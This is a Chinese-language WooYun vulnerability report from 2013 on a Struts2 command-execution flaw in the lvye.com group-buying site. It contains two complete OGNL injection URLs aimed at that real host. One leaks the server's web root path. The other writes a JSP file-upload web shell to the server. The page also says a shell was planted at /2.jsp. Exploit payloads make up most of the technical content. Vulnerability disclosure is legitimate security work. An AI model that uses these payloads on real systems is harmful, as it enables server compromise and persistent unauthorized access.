当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033198

漏洞标题:绿野团购网站命令执行漏洞可导致主站沦陷(可证明)

相关厂商:绿野团购

漏洞作者: 围剿

提交时间:2013-08-01 18:35

修复时间:2013-09-15 18:36

公开时间:2013-09-15 18:36

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

主站命令执行,详见详细说明。。。

详细说明:

Struts2命令执行,没错,我纳闷你们为何还没打补丁。

http://www.lvye.com/cooperation/cooperation!toCooperation.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


爆路径:/app/deploy/jobs/nlvyesite_8082/workspace/target/ROOT/

http://www.lvye.com/cooperation/cooperation!toCooperation.action?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23p%3d(%23req.getRealPath(%22/%22)%2b%22ck3.jsp%22).replaceAll("////", "/"),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e


写小马shell:http://www.lvye.com/2.jsp

漏洞证明:

2.jpg


3.jpg


修复方案:

升级 struts 最新版本,请自行删除执行脚本。

版权声明:转载请注明来源 围剿@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论